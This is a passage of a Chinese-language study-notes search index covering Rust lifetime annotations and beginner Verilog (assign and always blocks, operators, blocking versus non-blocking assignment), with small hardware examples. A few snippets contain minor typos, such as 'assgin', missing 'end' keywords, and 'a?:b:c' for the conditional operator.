r = longer(s1, s2);\n        println!(\"{} is longer\", r);\n    }\n}\n</code></pre> <p>\u6211\u4eec\u9700\u8981\u7528\u6cdb\u578b\u58f0\u660e\u6765\u89c4\u8303\u751f\u547d\u5468\u671f\u7684\u540d\u79f0\uff0c\u968f\u540e\u51fd\u6570\u8fd4\u56de\u503c\u7684\u751f\u547d\u5468\u671f\u5c06\u4e0e\u4e24\u4e2a\u53c2\u6570\u7684\u751f\u547d\u5468\u671f\u4e00\u81f4</p>"},{"location":"NOTE/CS/RUST/RUST/#_53","title":"\u9759\u6001\u751f\u547d\u5468\u671f","text":"<p>\u751f\u547d\u5468\u671f\u6ce8\u91ca\u6709\u4e00\u4e2a\u7279\u522b\u7684\uff1a'static \u3002\u6240\u6709\u7528\u53cc\u5f15\u53f7\u5305\u62ec\u7684\u5b57\u7b26\u4e32\u5e38\u91cf\u6240\u4ee3\u8868\u7684\u7cbe\u786e\u6570\u636e\u7c7b\u578b\u90fd\u662f &amp;'static str \uff0c'static \u6240\u8868\u793a\u7684\u751f\u547d\u5468\u671f\u4ece\u7a0b\u5e8f\u8fd0\u884c\u5f00\u59cb\u5230\u7a0b\u5e8f\u8fd0\u884c\u7ed3\u675f\u3002</p>"},{"location":"NOTE/CS/Verilog/verilog/","title":"Verilog \u5b66\u4e60\u7b14\u8bb0-\u5165\u95e8\u7bc7","text":"<p> \u7ea6 1011 \u4e2a\u5b57  207 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 6 \u5206\u949f</p> <p>\u8001\u5e08\u4e0d\u6559\u662f\u5427,\u81ea\u5df1\u5b66</p>"},{"location":"NOTE/CS/Verilog/verilog/#verilog","title":"Verilog\u6a21\u5757\u7ed3\u6784","text":"<p>Verilog\u6a21\u5757\u5927\u81f4\u5982\u4e0b</p> <p><pre><code>module name_of_module([\u7aef\u53e3\u5217\u8868]);\n     \u7aef\u53e3\u4fe1\u53f7\u58f0\u660e;\n     \u53c2\u6570\u58f0\u660e;\n     ---\n     \u5185\u90e8\u4fe1\u53f7\u8bf4\u660e\n     assign \u8bed\u53e5\n     \u5e95\u5c42\u6a21\u5757\u6216\u8005\u95e8\u539f\u8c03\u7528(\u5305\u62ec\u751f\u6210\u6a21\u5757)\n     Initial \u6216 always \u8bed\u53e5\u5757\n     \u4efb\u52a1\u548c\u51fd\u6570\u5b9a\u4e49\n     specify \u5757(\u8def\u5f84\u5ef6\u8fdf)\nendmodule\n</code></pre> \u8be6\u7ec6\u8bf4\u660e</p> <ul> <li>\u5e38\u7528\u8bed\u53e5\u53ea\u6709\u4e09\u79cd<ul> <li><code>assign</code>\u8bed\u53e5</li> <li><code>always</code>\u8bed\u53e5</li> <li>\u5e95\u5c42\u6a21\u5757\u8c03\u7528\u8bed\u53e5</li> </ul> </li> <li>\u4e09\u79cd\u8bed\u53e5\u7684\u987a\u5e8f\u65e0\u5173 ,\u8fd9\u4e0eC\u8bed\u8a00\u5f88\u4e0d\u540c</li> <li> <p>\u9664\u4e00\u5f00\u59cb\u7684<code>module</code>\u548c<code>endmodule</code>\u5fc5\u987b\u5199\u4e4b\u5916,\u5176\u4ed6\u90fd\u662f\u53ef\u9009\u7684</p> </li> <li> <p>\u7f29\u8fdb\u5728Verilog\u4e2d\u5e76\u4e0d\u91cd\u8981,\u5b83\u4e3b\u8981\u4f7f\u7528<code>begin</code>\u548c<code>end</code>\u6765\u5206\u5272</p> </li> <li> <p>\u6a21\u5757\u540d\u662f\u6307\u7535\u8def\u7684\u540d\u5b57,\u7531\u7528\u6237\u6307\u5b9a,\u6700\u597d\u4e0e\u6587\u4ef6\u540d\u4e00\u81f4</p> </li> <li> <p>\u7aef\u53e3\u5217\u8868 \u662f\u6307\u7535\u8def\u7684\u8f93\u5165/\u8f93\u51fa\u4fe1\u53f7\u540d\u79f0\u5217\u8868,\u4fe1\u53f7\u540d\u7531\u7528\u6237\u6307\u5b9a,\u5404\u540d\u79f0\u7528\u9017\u53f7\u9694\u5f00;</p> </li> <li> <p>\u7aef\u53e3\u4fe1\u53f7\u58f0\u660e \u662f\u8981\u8bf4\u660e\u7aef\u53e3\u4fe1\u53f7\u7684\u8f93\u5165\u8f93\u51fa\u5c5e\u6027\u3001\u4fe1\u53f7\u7684\u6570\u636e\u7c7b\u578b,\u4ee5\u53ca\u4fe1\u53f7\u7684\u4f4d\u5bbd;\u8f93\u5165\u8f93\u51fa\u5c5e\u6027\u6709input,output,inout\u4e09\u79cd,\u4fe1\u53f7\u7684\u6570\u636e\u7c7b\u578b\u5e38\u7528\u7684\u6709wire\u548creg\u4e24\u79cd;\u4fe1\u53f7\u7684\u4f4d\u5bbd\u7528[n1:n2]\u8868\u793a;\u540c\u4e00\u7c7b\u4fe1\u53f7\u4e4b\u95f4\u7528\u9017\u53f7\u9694\u5f00;</p> </li> <li>\u4fe1\u53f7\u4f4d\u5bbd\u4e0d\u505a\u8bf4\u660e\u7684\u8bdd\u9ed8\u8ba4\u662f1\u4f4d,\u4fe1\u53f7\u7c7b\u578b\u4e0d\u505a\u8bf4\u660e\u7684\u8bdd,\u9ed8\u8ba4\u662fwire\u7c7b\u578b\u7684</li> <li>\u53c2\u6570\u58f0\u660e \u8981\u8bf4\u660e\u53c2\u6570\u7684\u540d\u79f0\u548c\u521d\u503c(\u4f8b\u5982<code>parameter</code> reg A = 1'b1)</li> </ul> <p>Example</p> <p>\u4e8c\u9009\u4e00\u591a\u8def\u9009\u62e9\u5668\u7684Verilog\u63cf\u8ff0  <pre><code>module MUX21a(a,b,s,y);\ninput a,b,s;\noutput y;\nassign y=(s?a:b);\nendmodule\n</code></pre>  \u8fb9\u6cbfD\u89e6\u53d1\u5668\u7684Verilog\u63cf\u8ff0  <pre><code>module DFFL(CLK,D,Q);\ninput CLK,D;\noutput reg Q;\nalways @(posedge CLK) begin\n Q &lt;= D;\nendmodule    \n</code></pre>  \u56db\u4f4d\u5168\u52a0\u5668  <pre><code>module full_adder(A,B,CIN,COUT);\ninput [3:0]A,B;\ninput CIN;\noutput reg [3:0] S;\noutput COUT;\nendmodule\n</code></pre></p>"},{"location":"NOTE/CS/Verilog/verilog/#assign","title":"assign\u8bed\u53e5","text":"<p><code>assign</code>\u8bed\u53e5\u79f0\u4f5c\u8fde\u7eed\u8d4b\u503c\u8bed\u53e5,\u8d4b\u503c\u76ee\u6807\u5fc5\u987b\u662fwire\u578b\u7684,wire\u8868\u793a\u7535\u8def\u95f4\u7684\u8fde\u7ebf.</p> <p>\u57fa\u672c\u683c\u5f0f: <code>assign</code> \u8d4b\u503c\u76ee\u6807 = \u8868\u8fbe\u5f0f,\u66f4\u786c\u4ef6\u5730\u8bf4<code>assign</code>\u7684\u5de6\u8fb9\u662f\u4e00\u4e2a\u7535\u8def\u7684\u8f93\u5165,\u53e6\u5916\u4e00\u8fb9\u662f\u53e6\u4e00\u4e2a\u7535\u8def\u7684\u8f93\u51fa</p> <p>\u4f8b\u5982</p> <ul> <li>\u975e: <code>assgin y = ~a</code></li> <li>\u4e0e\u95e8: <code>assign y=a&amp;b</code></li> </ul> <p>\u7279\u70b9:\u4e4b\u6240\u4ee5\u79f0\u4e3a\u8fde\u7eed\u8d4b\u503c\u8bed\u53e5\u662f\u6307\u5176\u603b\u662f\u5904\u4e8e\u6fc0\u6d3b\u72b6\u6001,\u53ea\u8981\u8868\u8fbe\u5f0f\u4e2d\u7684\u64cd\u4f5c\u6570\u6709\u53d8\u5316,\u7acb\u5373\u8fdb\u884c\u8ba1\u7b97\u548c\u8d4b\u503c.(\u4e0e\u8fde\u7eed\u8d4b\u503c\u8bed\u53e5\u5bf9\u5e94\u7684\u53e6\u4e00\u79cd\u8bed\u53e5\u79f0\u4e3a\u8fc7\u7a0b\u8d4b\u503c\u8bed\u53e5)</p> <p>Verilog\u5177\u6709\u4e30\u5bcc\u7684\u8868\u8fbe\u5f0f\u8fd0\u7b97\u529f\u80fd\u53ef\u4ee5\u7528\u4e8eassign\u8bed\u53e5</p> \u64cd\u4f5c\u7c7b\u578b \u64cd\u4f5c\u7b26 \u6267\u884c\u7684\u64cd\u4f5c \u7b97\u672f <code>*</code> \u4e58 <code>/</code> \u9664 <code>+</code> \u52a0 <code>-</code> \u51cf <code>%</code> \u53d6\u6a21 <code>**</code> \u6c42\u5e42 \u903b\u8f91 <code>!</code> \u903b\u8f91\u6c42\u53cd <code>&amp;&amp;</code> \u903b\u8f91\u4e0e <code>|            |</code> \u903b\u8f91\u6216 \u5173\u7cfb <code>&gt;</code> \u5927\u4e8e <code>&lt;</code> \u5c0f\u4e8e <code>&gt;=</code> \u5927\u4e8e\u7b49\u4e8e <code>&lt;=</code> \u5c0f\u4e8e\u7b49\u4e8e \u7b49\u4ef7 <code>==</code> \u76f8\u7b49 <code>!=</code> \u4e0d\u7b49 <code>===</code> case \u76f8\u7b49 <code>!==</code> case \u4e0d\u7b49 \u6309\u4f4d <code>~</code> \u6309\u4f4d\u6c42\u53cd <code>&amp;</code> \u6309\u4f4d\u4e0e <code>|</code> \u6309\u4f4d\u6216 <code>^</code> \u6309\u4f4d\u5f02\u6216 <code>^~</code>\u6216<code>~^</code> \u6309\u4f4d\u540c\u6216 \u7f29\u51cf <code>&amp;</code> \u7f29\u51cf\u4e0e <code>~&amp;</code> \u7f29\u51cf\u4e0e\u975e <code>|</code> \u7f29\u51cf\u6216 <code>~         |</code> \u7f29\u51cf\u6216\u975e <code>^</code> \u7f29\u51cf\u5f02\u6216 <code>^~</code>\u6216<code>~^</code> \u7f29\u51cf\u540c\u6216 \u79fb\u4f4d <code>&gt;&gt;</code> \u53f3\u79fb <code>&lt;&lt;</code> \u5de6\u79fb <code>&gt;&gt;&gt;</code> \u7b97\u672f\u53f3\u79fb <code>&lt;&lt;&lt;</code> \u7b97\u672f\u5de6\u79fb \u62fc\u63a5 <code>{}</code> \u62fc\u63a5 \u590d\u5236 <code>{n{}}</code> \u590d\u5236 \u6761\u4ef6 <code>?:</code> \u6761\u4ef6 <p>\u9700\u8981\u6ce8\u610f\u7684\u5730\u65b9</p> <p>\u524d\u9762\u51e0\u4e2a\u6bd4\u8f83\u7b80\u5355,\u548cC\u8bed\u8a00\u57fa\u672c\u4e00\u6837</p> <p>\u7b49\u4ef7\u8fd0\u7b97\u7b26 <pre><code>Y=(1'b1==1'bx);\u7ed3\u679c\u4e3ax\nY=(1'bx==1'bx);\u7ed3\u679c\u4e3ax\nY=(1'b1===1'bx);\u7ed3\u679c\u4e3a0\nY=(1'bx===1'bx);\u7ed3\u679c\u4e3a1\n</code></pre></p> <ul> <li>\u7b49\u4e8e\u548c\u4e0d\u7b49\u4e8e\u8fd0\u7b97\u7684\u7ed3\u679c\u53ef\u80fd\u662f1(\u903b\u8f91\u771f)\u30010(\u903b\u8f91\u5047)\u3001x(\u4e0d\u786e\u5b9a);\u5bf9\u4e8ex\u6216z,\u8ba4\u4e3a\u662f\u4e0d\u786e\u5b9a\u7684\u503c,\u6bd4\u8f83\u7ed3\u679c\u4e3ax;</li> <li>case\u7b49\u548ccase\u4e0d\u7b49\u7684\u7ed3\u679c\u53ea\u80fd\u662f1\u62160,\u5bf9\u4e8ex\u3001z\u8ba4\u4e3a\u662f\u786e\u5b9a\u7684\u503c,\u53c2\u52a0\u6bd4\u8f83;</li> </ul> <p>\u6309\u4f4d\u8fd0\u7b97\u7b26</p> <ul> <li>\u6309\u4f4d\u8fd0\u7b97\u7684\u64cd\u4f5c\u6570\u662f1\u4f4d\u6216\u591a\u4f4d\u4e8c\u8fdb\u5236\u6570,</li> <li>\u6309\u4f4d\u975e\u7684\u64cd\u4f5c\u6570\u53ea\u6709\u4e00\u4e2a,\u5c06\u8be5\u6570\u7684\u6bcf\u4e00\u4f4d\u6c42\u975e\u8fd0\u7b97.</li> <li>\u5176\u5b83\u6309\u4f4d\u8fd0\u7b97\u7684\u64cd\u4f5c\u6570\u67092\u4e2a\u6216\u591a\u4e2a,\u5c06\u4e24\u4e2a\u64cd\u4f5c\u6570\u5bf9\u5e94\u7684\u4f4d\u4e24\u4e24\u8fd0\u7b97;</li> <li>\u5982\u679c\u64cd\u4f5c\u6570\u4f4d\u5bbd\u4e0d\u540c,\u4f4d\u5bbd\u5c0f\u7684\u4f1a\u81ea\u52a8\u5de6\u6dfb0\u8865\u9f50;</li> <li>\u7ed3\u679c\u4e0e\u64cd\u4f5c\u6570\u4f4d\u5bbd\u76f8\u540c;</li> </ul> <p>\u7f29\u51cf\u8fd0\u7b97\u7b26</p> <pre><code>Y=&amp;4'b1001 (\u7ed3\u679c\u4e3a0)\nY=~&amp;4'b1001 (\u7ed3\u679c\u4e3a1,\u76f8\u5f53\u4e8e~(&amp;4'b1001))\n</code></pre> <ul> <li>\u7f29\u51cf\u8fd0\u7b97\u7684\u64cd\u4f5c\u6570\u662f1\u4f4d\u6216\u591a\u4f4d\u4e8c\u8fdb\u5236\u6570;</li> <li>\u7f29\u51cf\u8fd0\u7b97\u7684\u64cd\u4f5c\u6570\u53ea\u6709\u4e00\u4e2a,\u5c06\u8be5\u6570\u7684\u5404\u4f4d\u81ea\u5de6\u81f3\u53f3\u8fdb\u884c\u903b\u8f91\u8fd0\u7b97,\u7ed3\u679c\u53ea\u6709\u4e00\u4f4d.</li> </ul> <p>\u79fb\u4f4d\u8fd0\u7b97\u7b26</p> <pre><code>Y=4'b1001&gt;&gt;1;(0100)\nY=4'sb1001&gt;&gt;1;(1100,4'sb\u6307\u7684\u662f\u6709\u7b26\u53f7)\n</code></pre> <ul> <li>\u79fb\u4f4d\u8fd0\u7b97\u7684\u64cd\u4f5c\u6570\u662f1\u4f4d\u6216\u591a\u4f4d\u4e8c\u8fdb\u5236\u6570;</li> <li>\u5411\u5de6\u6216\u5411\u53f3\u79fbn\u4f4d;</li> <li>\u53ea\u6709\u5bf9\u6709\u7b26\u53f7\u6570\u7684\u7b97\u672f\u53f3\u79fb\u81ea\u52a8\u8865\u7b26\u53f7\u4f4d;</li> <li>\u5176\u4ed6\u79fb\u4f4d\u5747\u81ea\u52a8\u88650.</li> </ul> <p>\u62fc\u63a5(\u62fc\u603b\u7ebf)</p> <p><pre><code>Y={4'b1001,2'b11}(100100)\nY={4{2'b01}}(01010101)\nY={4{2'b01},2'b11}(0101010111)\n</code></pre>  - \u5c06\u591a\u4e2a\u64cd\u4f5c\u6570\u62fc\u63a5\u8d77\u6765;  - \u5c06\u64cd\u4f5c\u6570\u590d\u5236n\u904d\u5e76\u62fc\u63a5\u8d77\u6765;  - \u53ef\u4ee5\u7ec4\u5408\u4f7f\u7528.</p> <p>\u6761\u4ef6\u8fd0\u7b97\u7b26  <code>a?:b:c</code>\u5982\u679ca\u662f1,\u5219\u8fd4\u56deb,\u5426\u5219\u8fd4\u56dec;\u53ef\u4ee5\u5d4c\u5957\u4f7f\u7528</p>"},{"location":"NOTE/CS/Verilog/verilog/#always","title":"always\u8bed\u53e5\u5757","text":"<p>Hint</p> <p>\u57fa\u672c\u683c\u5f0f <pre><code>always @(\u654f\u611f\u4fe1\u53f7\u6761\u4ef6\u8868)\n   \u5404\u7c7b\u987a\u5e8f\u8bed\u53e5\n</code></pre></p> <p>\u7279\u70b9</p> <ul> <li>always\u8bed\u53e5\u672c\u8eab\u4e0d\u662f\u5355\u4e00\u7684\u6709\u610f\u4e49\u7684\u4e00\u6761\u8bed\u53e5,\u800c\u662f\u548c\u4e0b\u9762\u7684\u8bed\u53e5\u4e00\u8d77\u6784\u6210\u4e00\u4e2a\u8bed\u53e5\u5757,\u79f0\u4e4b\u4e3a\u8fc7\u7a0b\u5757;\u8fc7\u7a0b\u5757\u4e2d\u7684\u8d4b\u503c\u8bed\u53e5\u79f0\u8fc7\u7a0b\u8d4b\u503c\u8bed\u53e5;</li> <li>\u8be5\u8bed\u53e5\u5757\u4e0d\u662f\u603b\u5904\u4e8e\u6fc0\u6d3b\u72b6\u6001,\u5f53\u6ee1\u8db3\u6fc0\u6d3b\u6761\u4ef6\u65f6\u624d\u80fd\u88ab\u6267\u884c,\u5426\u5219\u88ab\u6302\u8d77,\u6302\u8d77\u65f6\u5373\u4f7f\u64cd\u4f5c\u6570\u6709\u53d8\u5316,\u4e5f\u4e0d\u6267\u884c\u8d4b\u503c,\u8d4b\u503c\u76ee\u6807\u503c\u4fdd\u6301\u4e0d\u53d8;</li> <li>\u8d4b\u503c\u76ee\u6807\u5fc5\u987b\u662freg\u578b\u7684.</li> </ul> <p>Note</p> <p>\u6fc0\u6d3b\u6761\u4ef6\u7531\u654f\u611f\u4fe1\u53f7\u6761\u4ef6\u8868\u51b3\u5b9a,\u5f53\u654f\u611f\u6761\u4ef6\u6ee1\u8db3\u65f6,\u8fc7\u7a0b\u5757\u88ab\u6fc0\u6d3b. \u654f\u611f\u6761\u4ef6\u6709\u4e24\u79cd,\u4e00\u79cd\u662f\u8fb9\u6cbf\u654f\u611f,\u4e00\u79cd\u662f\u7535\u5e73\u654f\u611f</p> <p>\u8fb9\u6cbf\u654f\u611f</p> <ul> <li><code>posedge</code> \u4fe1\u53f7\u540d:\u4fe1\u53f7\u4e0a\u5347\u6cbf\u5230\u6765</li> <li><code>negedge</code> \u4fe1\u53f7\u540d:\u4fe1\u53f7\u4e0b\u964d\u6cbf\u5230\u6765</li> </ul> <p>\u7535\u5e73\u654f\u611f</p> <ul> <li>\u4fe1\u53f7\u540d\u5217\u8868:\u4fe1\u53f7\u5217\u8868\u4e2d\u4efb\u4e00\u4e2a\u4fe1\u53f7\u6709\u53d8\u5316(\u4f8b\u5982<code>(a,b,c)</code>\u6216<code>(a or b or c)</code>,\u5f53\u4e09\u4e2a\u4fe1\u53f7\u4e2d\u6709\u4e00\u4e2a\u53d1\u751f\u53d8\u5316) </li> </ul> <p>Example</p> <p><pre><code>always @ (posedge CLK)\nQ=D;\n</code></pre> \u5f53CLK\u4e0a\u5347\u6cbf\u5230\u6765\u65f6,\u6fc0\u6d3b\u8be5\u8bed\u53e5\u5757,\u5c06D\u7684\u503c\u8d4b\u7ed9Q; \u5426\u5219,\u8be5\u8bed\u53e5\u5757\u6302\u8d77,\u5373\u4f7fD\u6709\u53d8\u5316,Q\u7684\u503c\u4e5f\u4fdd\u6301\u4e0d\u53d8,\u76f4\u5230\u4e0b\u4e00\u6b21\u8d4b\u503c .</p> <p><pre><code>always @ (D)\nQ=D;\n</code></pre> \u5f53D\u6709\u53d8\u5316\u65f6(\u4e0d\u7ba1\u662f\u75311\u53d80\u8fd8\u662f\u75310\u53d81),\u6fc0\u6d3b\u8be5\u8bed\u53e5\u5757,\u5c06D\u7684\u503c\u8d4b\u7ed9Q; \u5426\u5219,\u8be5\u8bed\u53e5\u5757\u6302\u8d77,Q\u7684\u503c\u4fdd\u6301\u4e0d\u53d8,\u76f4\u5230\u4e0b\u4e00\u6b21\u8d4b\u503c.</p> <p>Note</p> <ul> <li>\u8fc7\u7a0b\u5757\u4e2d\u7684\u8d4b\u503c\u76ee\u6807\u5fc5\u987b\u662freg\u578b\u7684.</li> <li>\u7531\u4e8ealways\u8bed\u53e5\u53ef\u4ee5\u63cf\u8ff0\u8fb9\u6cbf\u53d8\u5316,\u5728\u8bbe\u8ba1\u65f6\u5e8f\u7535\u8def\u4e2d\u5f97\u5230\u5e7f\u6cdb\u5e94\u7528.</li> <li>always\u8bed\u53e5\u4e2d\u8fd8\u53ef\u4ee5\u4f7f\u7528if\u3001case\u3001for\u5faa\u73af\u7b49\u8bed\u53e5,\u5176\u529f\u80fd\u66f4\u52a0\u5f3a\u5927.\u4f8b\u5982 <pre><code>module DFF2 (CLK,D,Q,RST,EN)\ninput CLK,D,RST,EN;\noutput Q;\nreg Q;\nalways @(posedge CLK or negedge RST)\nbegin \n        if (!RST) Q&lt;=0;\n        else if (EN) Q&lt;=D\nend\nendmodule\n</code></pre></li> </ul> <p><code>assign</code>\u8bed\u53e5\u548c<code>always</code>\u8bed\u53e5\u7684\u533a\u522b</p> <ul> <li>\u8fde\u7eed\u8d4b\u503c\u8bed\u53e5\u603b\u662f\u5904\u4e8e\u6fc0\u6d3b\u72b6\u6001,\u53ea\u8981\u64cd\u4f5c\u6570\u6709\u53d8\u5316\u9a6c\u4e0a\u8fdb\u884c\u8ba1\u7b97\u548c\u8d4b\u503c;</li> <li>\u8fc7\u7a0b\u8d4b\u503c\u8bed\u53e5\u53ea\u6709\u5f53\u6fc0\u6d3b\u8be5\u8fc7\u7a0b\u65f6,\u624d\u4f1a\u8fdb\u884c\u8ba1\u7b97\u548c\u8d4b\u503c,\u5982\u679c\u8be5\u8fc7\u7a0b\u4e0d\u88ab\u6fc0\u6d3b,\u5373\u4f7f\u64cd\u4f5c\u6570\u53d1\u751f\u53d8\u5316\u4e5f\u4e0d\u4f1a\u8ba1\u7b97\u548c\u8d4b\u503c.</li> <li>verilog\u89c4\u5b9a<code>assign</code>\u4e2d\u7684\u8d4b\u503c\u76ee\u6807\u5fc5\u987b\u662f<code>wire</code>\u578b\u7684,\u800c<code>always</code>\u8bed\u53e5\u4e2d\u7684\u8d4b\u503c\u76ee\u6807\u5fc5\u987b\u662f<code>reg</code>\u578b\u7684.</li> <li><code>always</code>\u8bed\u53e5\u5757\u4e2d\u5982\u679c\u6709\u591a\u6761\u8d4b\u503c\u8bed\u53e5\u5fc5\u987b\u5c06\u5176\u7528<code>begin</code> <code>end</code>\u5305\u62ec\u8d77\u6765,<code>assign</code>\u8bed\u53e5\u4e2d\u6ca1\u6709<code>begin</code> <code>end</code></li> </ul> <p>Example</p> <p><pre><code>assign Q=D\n</code></pre> \u53ea\u8981D\u53d1\u751f\u53d8\u5316,\u9a6c\u4e0a\u8fdb\u884c\u8ba1\u7b97\u548c\u8d4b\u503c; Q\u5fc5\u987b\u662fwire\u578b</p> <p><pre><code>always @ (posedge clk)                     \n         Q=D;\n</code></pre> \u53ea\u6709\u5f53clk\u4e0a\u5347\u6cbf\u5230\u6765\u65f6,\u624d\u80fd\u6fc0\u6d3b\u8be5\u5757\u8bed\u53e5,\u624d\u80fd\u8fdb\u884c\u8ba1\u7b97\u548c\u8d4b\u503c;\u5426\u5219,\u5373\u4f7fD\u53d1\u751f\u53d8\u5316\u4e5f\u4e0d\u4f1a\u8ba1\u7b97\u548c\u8d4b\u503c.\u5728\u672a\u88ab\u6fc0\u6d3b\u65f6,Q\u7684\u503c\u4fdd\u6301\u4e0d\u53d8. Q\u5fc5\u987b\u662freg\u578b.</p> <p>\u963b\u585e\u8d4b\u503c\u548c\u975e\u963b\u585e\u8d4b\u503c</p> <p><code>begin</code> <code>end</code>\u4e4b\u95f4\u7684\u8d4b\u503c\u8bed\u53e5\u6709\u963b\u585e\u8d4b\u503c\u548c\u975e\u963b\u585e\u8d4b\u503c\u4e4b\u5206</p> <ul> <li> <p>\u963b\u585e\u8d4b\u503c<code>=</code>:\u8bed\u53e5\u987a\u5e8f\u6267\u884c,\u524d\u9762\u7684\u6267\u884c\u5b8c\u624d\u80fd\u6267\u884c\u540e\u9762\u7684\u8bed\u53e5;     <pre><code>   a=1'b1;\n   b=1'b1;\n</code></pre>     \u5bf9a\u8d4b\u503c\u4f1a\u963b\u585e\u8d4b\u503cb,\u5373\u53ea\u6709\u5f53\u8d4b\u503ca\u6267\u884c\u5b8c\u624d\u80fd\u6267\u884c\u8d4b\u503cb.</p> </li> <li> <p>\u975e\u963b\u585e\u8d4b\u503c<code>&lt;=</code>:\u6240\u6709\u8bed\u53e5\u5e76\u884c\u6267\u884c      <pre><code>  a&lt;=1'b1;\n  b&lt;=1'b1;\n</code></pre>     \u5bf9a\u8d4b\u503c\u4e0d\u4f1a\u963b\u585e\u8d4b\u503cb,\u4e24\u4e2a\u8bed\u53e5\u5e76\u884c\u6267\u884c</p> </li> </ul> <p>Example</p> <p><pre><code>begin\n  m=a*b;\n  y=m;\nend   \n</code></pre> \u5f53m\u8d4b\u503c\u5b8c\u6210\u540e,\u624d\u80fd\u6267\u884cy\u7684\u8d4b\u503c,y\u5f97\u5230\u7684\u662fm\u7684\u65b0\u503c.</p> <p><pre><code>begin\n  m&lt;=a*b;\n  y&lt;=m;\nend   \n</code></pre> m\u548cy\u7684\u8d4b\u503c\u5e76\u884c\u6267\u884c,y\u5f97\u5230\u7684\u662fm\u7684\u65e7\u503c.</p> <p>\u8bbeA\u3001B\u540c\u65f6\u75310\u53d81 <pre><code>always @ (A,B)\nbegin\n    M1=A;\n    M2=B&amp;M1;\n    Q=M1|M2;\nend\n</code></pre> \u6fc0\u6d3b\u524d\uff1aM1=0,M2=0,Q=0</p> <p>\u6fc0\u6d3b\u540e\uff1a\u5148\u8ba1\u7b97A=1,\u9a6c\u4e0a\u8d4b\u503c\u7ed9M1 \u518d\u8ba1\u7b97B&amp;M1=1,\u9a6c\u4e0a\u8d4b\u503c\u7ed9M2 \u518d\u8ba1\u7b97M1|M2=1,\u9a6c\u4e0a\u8d4b\u503c\u7ed9Q</p> <pre><code>always @ (A,B)\nbegin\n    M1&lt;=A;\n    M2&lt;=B&amp;M1;\n    Q &lt;=M1|M2;\nend\n</code></pre> <p>\u5148\u8ba1\u7b97A=1,(\u7b49\u5f85,\u4e0d\u8d4b\u503c)</p> <p>\u518d\u8ba1\u7b97B&amp;M1=0,(\u7b49\u5f85,\u4e0d\u8d4b\u503c)</p> <p>\u518d\u8ba1\u7b97M1|M2=0,(\u7b49\u5f85,\u4e0d\u8d4b\u503c)</p> <p>\u8fc7\u7a0b\u7ed3\u675f</p> <p>\u5148\u8d4b\u503c\u7ed9M1=1</p> <p>\u518d\u8d4b\u503c\u7ed9M2=0</p> <p>\u518d\u8d4b\u503c\u7ed9Q=0</p> <p>\u603b\u7ed3 :</p> <ul> <li> <p>\u963b\u585e\u8d4b\u503c\u7684\u5b9e\u8d28:\u53f3\u8fb9\u8868\u8fbe\u5f0f\u7684\u8ba1\u7b97\u548c\u5bf9\u5de6\u8fb9\u5bc4\u5b58\u5668\u53d8\u91cf\u7684\u8d4b\u503c\u662f\u4e00\u4e2a\u7edf\u4e00\u7684\u539f\u5b50\u64cd\u4f5c\u4e2d\u7684\u4e24\u4e2a\u52a8\u4f5c,\u8fd9\u4e24\u4e2a\u52a8\u4f5c\u4e4b\u95f4\u4e0d\u80fd\u518d\u63d2\u5165\u5176\u4ed6\u4efb\u4f55\u52a8\u4f5c.</p> </li> <li> <p>\u975e\u963b\u585e\u8d4b\u503c\u7684\u5b9e\u8d28:\u9996\u5148\u6309\u987a\u5e8f\u8ba1\u7b97\u53f3\u8fb9\u8868\u8fbe\u5f0f\u7684\u503c,\u4f46\u662f\u5e76\u4e0d\u9a6c\u4e0a\u8d4b\u503c,\u800c\u662f\u8981\u7b49\u5230\u8fc7\u7a0b\u7ed3\u675f\u65f6\u518d\u6309\u987a\u5e8f\u8d4b\u503c.</p> </li> </ul> <p>Note</p> <ul> <li>\u8bbe\u8ba1\u7ec4\u5408\u7535\u8def\u65f6\u5e38\u7528\u963b\u585e\u8d4b\u503c;</li> <li>\u8bbe\u8ba1\u65f6\u5e8f\u7535\u8def\u65f6\u5e38\u7528\u975e\u963b\u585e\u8d4b\u503c;\u4f46\u4e0d\u662f\u7edd\u5bf9\u7684.</li> <li>\u4e0d\u5efa\u8bae\u5728\u4e00\u4e2aalways\u5757\u4e2d\u6df7\u5408\u4f7f\u7528\u963b\u585e\u8d4b\u503c\u548c\u975e\u963b\u585e\u8d4b\u503c</li> </ul> Example <p>\u963b\u585e\u8d4b\u503c\u5b9e\u73b0\u7684\u7ec4\u5408\u7535\u8def  <pre><code>module MY (A,B,C,Y)\ninput A,B,C;\noutput Y;\nreg Y;\nreg M;\nalways @ (A,B,C)\nbegin\n    M=B|C;\n    Y=A&amp;M;      \nend\nendmodule\n</code></pre> (\u5176\u5b9e\u4e5f\u53ef\u4ee5\u76f4\u63a5<code>assign</code>\u7684)</p> <p>\u975e\u963b\u585e\u8d4b\u503c\u5b9e\u73b0\u7684\u79fb\u4f4d\u5bc4\u5b58\u5668 <pre><code>module DDF3(CLK,D,Q)\noutput Q;\ninput  CLK,D;\nreg a,b,Q;\nalways @ (posedge CLK)\nbegin\n  a&lt;=D;\n  b&lt;=a;\n  Q&lt;=b;\nend\n</code></pre>   \u8fd9\u4e2a\u79fb\u4f4d\u5bc4\u5b58\u5668\u662f\u6bcf\u5f53\u4e0a\u5347\u6cbf\u5230\u6765,\u540c\u65f6\u6574\u4f53\u79fb\u52a8\u7684,\u800c\u4e0d\u662fa\u5148\u53d8\u5316,b\u518d\u53d8\u5316\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7</p> <p>\u628a<code>assign</code>\u548c<code>always</code>\u7ed3\u5408\u8d77\u6765,\u4e3e\u4e00\u4e2a4\u4f4d\u4e8c\u8fdb\u5236\u52a0\u6cd5\u8ba1\u6570\u5668\u7684\u4f8b\u5b50 <pre><code>  module CNT4 (CLK,Q);\n  input CLK;\n  output [3:0] Q;\n\n  reg [3:0] Q1;\n\n  always @ (posedge CLK)\n  begin\n    Q1&lt;=Q1+1;\n  end\n\n  assign Q=Q1;\n\n  endmodule\n</code></pre> 